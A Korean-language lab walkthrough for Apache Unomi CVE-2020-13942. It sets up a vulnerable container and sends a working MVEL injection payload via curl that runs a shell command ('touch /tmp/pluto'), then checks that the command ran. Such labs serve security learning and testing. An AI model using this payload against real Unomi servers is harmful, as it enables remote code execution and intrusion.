
Apache Unomi CVE-2020-13942에 대한 단계별 실습 환경 및 익스플로잇으로, MVEL 표현식 언어 주입을 통해 원격 코드 실행으로 이어지는 과정을 시연합니다.
이 취약점은 MVEL 표현 언어 주입을 악용하여 Apache Unomi 1.5.1 버전을 실행하는 시스템에서 임의의 명령을 실행할 수 있게 합니다.
GitHub - Vulhub - Unomi CVE-2020-13942
docker-compose.yml)version: '2'
services:
web:
image: vulhub/unomi:1.5.1
ports:
- "9443:9443"
- "8181:8181"
environment:
- UNOMI_ELASTICSEARCH_ADDRESSES=elasticsearch:9200
depends_on:
- elasticsearch
elasticsearch:
image: elasticsearch:7.9.3
environment:
- cluster.name=contextElasticSearch
- discovery.type=single-node
- "ES_JAVA_OPTS=-Xms512m -Xmx512m"
- bootstrap.memory_lock=true
다음 명령으로 컨테이너를 실행합니다:
docker compose up -d
curl을 사용하여 다음 POST 요청을 전송합니다:
curl -X POST http://localhost:8181/context.json \
-H "Accept-Encoding: gzip, deflate" \
-H "Accept: */*" \
-H "Accept-Language: en" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36" \
-H "Connection: close" \
-H "Content-Type: application/json" \
-d '{
"filters": [
{
"id": "sample",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"touch /tmp/pluto\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "sample"
}'
파일 생성 여부를 확인하려면 컨테이너에 접근합니다:
docker exec -it af7de05fc47e ls /tmp
pluto 폴더가 있는지 확인합니다:
hsperfdata_root pluto
pluto 파일이 존재한다면 exploit이 성공한 것입니다.
이 취약점은 임의의 명령 실행을 가능하게 합니다. 이러한 테스트는 통제된 환경에서 학습 또는 검증 목적으로만 사용하십시오. 승인되지 않은 환경에서 취약점을 악용하는 것은 불법입니다.